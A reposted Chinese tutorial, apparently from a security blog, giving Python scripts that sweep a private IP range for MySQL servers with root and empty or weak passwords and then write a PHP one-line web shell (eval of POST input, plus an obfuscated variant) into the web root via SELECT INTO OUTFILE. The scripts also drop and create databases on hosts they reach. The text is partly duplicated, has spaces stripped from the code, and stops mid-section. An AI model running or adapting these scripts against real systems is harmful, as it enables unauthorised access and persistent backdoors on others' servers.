| 
                         但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。) 
增加一个ping_ip函数,可参考 
http://blog.51cto.com/happylab/1742282 
  
加上判断语句。若主机不存活,则退出 
  
改好后再测试发现时间缩短一半。 
以下是这次的完整代码-3: 
- #!/usr/bin/envpython 
 - #coding=utf-8 
 - #author:Blus 
 -  
 - importMySQLdb 
 - importthreading 
 - importtime 
 - importIPy 
 -  
 - defmysql_connect1(ip,shell_url,shell_content): 
 - #尝试数据库连接 
 - try: 
 - conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306) 
 - cur=conn.cursor() 
 -  
 - #若数据库连接成功,开始写马 
 - try: 
 -  
 - sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url) 
 - printsql_insert; 
 -  
 - cur.execute(sql_insert) 
 - print"写入成功".decode() 
 -  
 - exceptException as e: 
 - print"写入错误" 
 - printe; 
 - return 
 - cur.close() 
 - conn.close() 
 -  
 -  
 - exceptMySQLdb.Error,e: 
 - print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
 - return 
 -  
 - if__name__ == "__main__": 
 - #内容设置 
 - shell_url='../../../../wamp64/www/erg2313231.php'; 
 - shell_content='<?php@eval($_POST[cmd]); ?>' 
 - #设置同时运行的线程数 
 - threads=25 
 - #要检测的IP网段 
 - ip1= IPy.IP('192.168.0.0/16') 
 -  
 -  
 - forip in ip1:     
 - ip=str(ip) 
 - while(threading.activeCount()>threads): 
 - time.sleep(1) 
 - threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start() 
 - print'检测结束' 
 -  
 -  
 - 05 
 - 改善速度,增加ping函数 
 -  
 - 但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。) 
 -  
 - 增加一个ping_ip函数,可参考 
 - http://blog.51cto.com/happylab/1742282 
 -  
 -  
 - 加上判断语句。若主机不存活,则退出 
 -  
 -  
 -  
 - 改好后再测试发现时间缩短一半。 
 -  
 - 以下是这次的完整代码-3: 
 - #!/usr/bin/envpython 
 - #coding=utf-8 
 - #author:Blus 
 -  
 - importMySQLdb 
 - importthreading 
 - importIPy 
 - import time 
 - importsubprocess 
 - defmysql_connect1(ip,shell_url,shell_content): 
 -  
 - ifnot(ping_ip(ip)): 
 - #printip,"down" 
 - return 
 -  
 - #尝试数据库连接 
 - try: 
 - conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
 - cur=conn.cursor() 
 -  
 - #若数据库连接成功,开始写马 
 - try: 
 - #如果有重名数据库则删除该数据库 
 - cur.execute('DROPdatabase IF EXISTS `A123456`;') 
 - cur.execute('createdatabase A123456;') 
 - except: 
 - printip,"数据库创建错误" 
 - return 
 - cur.execute('useA123456;') 
 -  
 - try: 
 - cur.execute('CREATETABLE A123456.B123456 (C123456 TEXT NOT NULL );') 
 - printip,"表创建成功" 
 - except: 
 - printip,"表创建失败" 
 - return 
 -  
 - try: 
 - shell_content2="INSERTINTOB123456(C123456)VALUES ('{}');".format(shell_content) 
 - cur.execute(shell_content2) 
 - printip,"一句话插入成功" 
 - except: 
 - printip,"一句话插入失败" 
 - return 
 - #这里设置小马导出后的路径,该目录需要有写权限且mysql没有开启secure-file-priv 
 - try: 
 - sql_insert="SELECTC123456 from B123456 into outfile '{}';".format(shell_url) 
 - cur.execute(sql_insert) 
 - printip,"写入成功".decode() 
 - exceptException as e: 
 - printip,"写入错误",e 
 - return 
 -  
 - cur.close() 
 - conn.close() 
 - return 
 - exceptMySQLdb.Error,e: 
 - print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
 - return 
 -  
 - defping_ip(ip): 
 - #调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活 
 -  
 - cmd= 'ping -w 1 %s' % ip 
 - p= subprocess.Popen(cmd, 
 - stdin=subprocess.PIPE, 
 - stdout=subprocess.PIPE, 
 - stderr=subprocess.PIPE, 
 - shell=True) 
 - result= p.stdout.read() 
 - regex= result.find('100%') 
 - #未匹配到就是-1 
 - #未匹配到就是存活主机 
 - if(regex == -1): 
 - return1 
 - else: 
 - return0 
 -  
 -  
 - if__name__ == "__main__": 
 - start= time.time() 
 - #内容设置 
 - shell_url='../../../../wamp64/www/erg2313231.php'; 
 - shell_content='<?php($_=@$_GET[2]).@$_($_POST[1323222222])?>' 
 -  
 - #设置同时运行的线程数 
 - threads=25 
 -  
 - #要检测的IP网段 
 - ip1= IPy.IP('192.168.0.0/24') 
 -  
 - forip in ip1:     
 - ip=str(ip) 
 -  
 - while(threading.activeCount()>threads): 
 - time.sleep(1) 
 - t1=threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)) 
 - t1.start() 
 -  
 - #当线程只剩1时,说明执行完了 
 - while(threading.activeCount()!=1): 
 - time.sleep(1) 
 - print"检测结束" 
 - end= time.time() 
 - printend - start 
 
  
06日志记录 
接下来就是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,因为在批量扫描,大部分服务器都是站库分离的情况下,该功能没什么用。 
更改了以下几处: 
                        (编辑:91站长网) 
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! 
                     |